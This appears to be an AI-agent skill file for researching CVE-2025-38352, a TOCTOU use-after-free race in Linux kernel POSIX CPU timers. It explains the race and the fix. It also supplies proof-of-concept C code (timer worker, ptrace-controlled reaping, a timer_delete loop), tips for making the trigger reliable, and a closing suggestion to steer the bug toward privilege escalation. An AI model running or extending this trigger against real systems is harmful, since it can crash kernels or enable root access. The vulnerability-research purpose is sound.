Hacktricks-skills cve-2025-38352-research

Research, analyze, and create PoCs for CVE-2025-38352 (POSIX CPU timers TOCTOU race in Linux kernel). Use this skill whenever the user mentions kernel vulnerabilities, POSIX timers, TOCTOU races, timer exploitation, CVE-2025-38352, or wants to understand/reproduce kernel timer race conditions. Also trigger for kernel security research, privilege escalation primitives, or when analyzing timer-related kernel bugs.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352/SKILL.MD
source content

CVE-2025-38352 Research Skill

A skill for researching and analyzing the POSIX CPU timers TOCTOU race condition (CVE-2025-38352) in Linux/Android kernels.

What this skill does

This skill helps you:

  • Understand the vulnerability mechanics and kernel internals
  • Create reproducible PoCs for research purposes
  • Set up test environments with vulnerable kernels
  • Analyze race conditions and timing windows
  • Document findings and mitigation strategies

Safety first

⚠️ Critical: This vulnerability can crash kernels and corrupt memory. Only run PoCs in:

  • Isolated VMs (QEMU, VirtualBox)
  • Emulators with snapshots
  • Dedicated research environments

Never run on production systems or shared infrastructure.

Vulnerability overview

The bug in one sentence

A TOCTOU race between IRQ-context timer expiry and concurrent timer deletion during task exit can corrupt kernel timer state, causing crashes or enabling privilege escalation.

Key components

ComponentRole
posix-cpu-timers.c
Timer management code
collect_timerqueue()
Marks timers as firing, moves to firing list
handle_posix_cpu_timers()
Delivers timers, drops sighand lock
posix_cpu_timer_del()
Deletes timers, checks
firing
flag
release_task()
Tears down sighand during exit

The race window

CPU 0 (IRQ)                    CPU 1 (exit path)
─────────────────────────────────────────────────────
handle_posix_cpu_timers()      
  collect_timerqueue()         
    ctmr->firing = 1           
  unlock_task_sighand() ──────►│
                               │ posix_cpu_timer_del()
                               │   lock_task_sighand() fails
                               │   skips firing check
                               │   frees timer (RCU)
  list_for_each_entry_safe()   │
    dereferences freed timer   │
    → KASAN / crash            │

Creating a PoC

Step 1: Environment setup

You need:

  • Multi-core VM (4+ cores recommended)
  • Kernel with
    CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n
  • KASAN enabled for detection (optional but helpful)

For x86_64/arm64: These architectures force

HAVE_POSIX_CPU_TIMERS_TASK_WORK=y
, so you'll need to patch the Kconfig:

// kernel/time/Kconfig
config POSIX_CPU_TIMERS_TASK_WORK
    bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
    depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
    default y

Then rebuild with

CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n
.

For 32-bit Android: The vulnerable path may already be present.

Step 2: PoC structure

A reliable PoC needs:

  1. Parent process: Ptrace attach, control reaping via waitpid
  2. Child process: Spawn worker thread with CPU timer
  3. IPC: Pipes to coordinate timing between processes
  4. CPU pinning:
    sched_setaffinity()
    to reduce scheduler noise

Step 3: Worker thread with timer

static timer_t timer;
static long wait_time = 250000; // nanoseconds of CPU time
static pthread_barrier_t barrier;

static void timer_fire(sigval_t unused) {
    puts("timer fired");
}

static void *worker(void *arg) {
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_THREAD;
    sev.sigev_notify_function = timer_fire;
    
    timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
    
    struct itimerspec ts = {
        .it_interval = {0, 0},
        .it_value    = {0, wait_time},
    };
    
    pthread_barrier_wait(&barrier);  // Wait for ptrace attach
    timer_settime(timer, 0, &ts, NULL);
    
    // Burn CPU to advance timer
    for (volatile int i = 0; i < 1000000; i++);
    return NULL;  // Triggers exit_notify()
}

Step 4: Parent orchestration

// Parent process
int c2p[2], p2c[2];  // Pipes for IPC
pid_t child = fork();

if (child == 0) {
    // Child: spawn worker, send TID to parent
    // ... worker setup ...
    write(c2p[1], &worker_tid, sizeof(worker_tid));
    pthread_barrier_wait(&barrier);
} else {
    // Parent: ptrace and control reaping
    read(c2p[0], &worker_tid, sizeof(worker_tid));
    ptrace(PTRACE_ATTACH, worker_tid, NULL, NULL);
    waitpid(worker_tid, NULL, __WALL);
    ptrace(PTRACE_CONT, worker_tid, NULL, NULL);
    
    // Wait for timer to be collected, then reap
    usleep(100000);  // Tune this
    waitpid(worker_tid, NULL, __WALL);  // Triggers release_task()
    
    // Signal child to delete timer
    write(p2c[1], &signal, sizeof(signal));
}

Step 5: Timer deletion race

// Child main thread, after receiving signal from parent
void *deleter(void *arg) {
    for (;;) {
        timer_delete(timer);  // Hammer delete in loop
    }
}

Debugging and instrumentation

Kernel tracepoints

Add these to spot the race:

// In handle_posix_cpu_timers()
trace_printk("handle_posix_cpu_timers: tsk=%p comm=%s\n", tsk, tsk->comm);

// In posix_cpu_timer_del()
trace_printk("posix_cpu_timer_del: sighand=%p firing=%d\n", 
             sighand, timer->it.cpu.firing);

KASAN detection

With KASAN enabled, you'll see:

=================================================================
BUG: KASAN: slab-use-after-free in posix_timer_queue_signal
Read of size 8 at addr ffff888012345678 by task worker/1234

CPU: 0 PID: 1234 Comm: worker
Call Trace:
 <IRQ>
 posix_timer_queue_signal+0x123/0x456
 handle_posix_cpu_timers+0x78/0xabc
 ...

Widening the race window

For research, add a delay in the kernel:

// kernel/time/posix-cpu-timers.c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
    if (tsk->comm[0] == 'S' && tsk->comm[1] == 'L')  // "SLOWME"
        mdelay(500);  // 500ms delay
    // ... rest of function
}

Then name your worker thread:

prctl(PR_SET_NAME, "SLOWME");

Analysis checklist

When analyzing a potential trigger:

  • Is
    CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n
    ?
  • Is the target task exiting but not fully reaped?
  • Is another thread calling
    timer_delete()
    concurrently?
  • Did
    collect_timerqueue()
    set
    firing=1
    before
    unlock_task_sighand()
    ?
  • Did
    posix_cpu_timer_del()
    fail to acquire sighand?
  • Did the timer get RCU-freed while still in the firing list?

Mitigation

The fix adds an early return for exiting tasks:

// kernel/time/posix-cpu-timers.c
if (tsk->exit_state)
    return;

This prevents entering

handle_posix_cpu_timers()
for exiting tasks, eliminating the race window.

References

Common pitfalls

  1. Wrong clock: Use
    CLOCK_THREAD_CPUTIME_ID
    for per-thread timers, not
    CLOCK_PROCESS_CPUTIME_ID
  2. Timer too slow: Set
    it_value.tv_nsec
    to 1 or very small values to maximize IRQ entries
  3. No CPU pinning: Without
    sched_setaffinity()
    , scheduler noise makes the race unreliable
  4. Missing barrier: The worker must wait for ptrace attach before arming the timer
  5. Wrong exit path: Target a non-leader thread; the thread-group leader has different exit semantics

Next steps

After creating a PoC:

  1. Run it in a VM with KASAN to confirm the bug
  2. Document the exact timing and conditions
  3. Test against patched kernels to verify the fix
  4. Consider whether the primitive can be steered toward privilege escalation (requires additional controllable overlaps)